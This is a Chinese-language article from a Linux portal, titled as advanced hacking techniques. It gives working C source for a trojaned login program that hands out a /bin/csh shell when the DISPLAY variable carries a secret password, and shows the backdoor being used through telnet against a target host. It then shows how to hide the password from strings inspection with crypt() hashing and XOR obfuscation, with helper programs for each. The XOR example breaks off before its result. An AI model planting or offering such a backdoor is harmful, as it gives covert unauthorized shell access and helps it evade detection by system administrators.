Linux中国 Linux中国门户站!
设为主页 设为主页
收藏本站 收藏本站
 
当前位置 :首页 ->Linux技术 ->Linux安全 ->正文

黑客高级技巧 Linux后门技术及实践

来源:赛迪网技术社区  作者:Webmaster 时间:2007-05-01 点击: [收藏] [投稿]

最简单的login后门ulogin.c源代码如下:

实例:login后门

#include <stdio.h> 
#define PASSWORD "passWORD" 
#define _PATH_LOGIN "/sbin/logins" 

main (argc, argv, envp) 
int argc; 
char **argv, **envp; 
{ 
 char *display = getenv("DISPLAY"); 
 if ( display == NULL ) { 
  execve(_PATH_LOGIN, argv, envp); 
  perror(_PATH_LOGIN); 
  exit(1); 
 } 
 if (!strcmp(display,PASSWORD)) { 
  system("/bin/csh"); 
  exit(1); 
 } 
 execve(_PATH_LOGIN, argv, envp); 
 exit(1); 
}

利用后门登录

首先Telnet服务是打开的,在自己机器上:

bash$ export DISPLAY=passWORD 
bash$ telnet victim.com 
Trying xxx.xxx.xxx.xxx... 
Connected to victim.com (xxx.xxx.xxx.xxx). 
Escape character is '^]'. 
% _

Strings命令

strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:

bash$ strings ulogin 
/lib/ld-linux.so.2 
.............. 
DISPLAY 
/sbin/logins 
passWORD 
/bin/csh

加密后门密码

1,采用DES算法,即crypt( )函数,编写gen.c程序:

#include <unistd.h> 
main(int argc, char *argv[]) 
{ 
if (argc != 3) { 
printf("usage: %s <password> <salt>\n", argv[0]); 
exit(1); 
} 
printf("%s\n", crypt(argv[1], argv[2])); 
}

2、编译为gen,执行./gen hack ui,得到的shadow结果为UiVqMWvDrIQjA。

3、修改后门源程序ulogin.c:

-- 以密文形式的密码代替ulogin.c中define的宏PASSWORD值。

-- 如果后门密码正确,直接给出Shell:

if (!strcmp(PASSWORD, crypt(display,PASSWORD))) 
{ 
system(SHELL); 
exit(1); 
}

用strings命令只能看到加密过的密码。

采用异或(XOR)算法,以十六进制方式表示字符串,以达到non- printable的效果。

1、编码程序encode.c如下:

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a"; 
char *de(char *str,char *key) 
{ 
int i=0,j=0,len; 
len=strlen(key); 
while(str[i] != '\0') { 
str[i]^=key[j]; 
j++; 
if(j==len) j=0; 
i++; 
} 
return str; 
} 
void display(char *str) 
{ 
int i; 
for(i=0;i<strlen(str);i++) printf("\\x%x",str[i]); 
printf("\n"); 
} 
main() 
{ 
char gets[100], *ptr; 
ptr=gets; 
scanf ("%s",ptr); 
de(ptr,magic);display(ptr); 
}

2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:

 如果您对本文有任何疑问或者建议,请到讨论区发表您的意见: >> 论坛入口 <<



上一篇:LINUX2.4.x网络安全框架   下一篇:IP安全加密 IPSec安全技术全面接触

文章评论】 【收藏本文】 【推荐好友】 【打印本文】 【我要投稿】 【论坛讨论
更多相关文章
Power by linux-cn.com 粤ICP备05006655号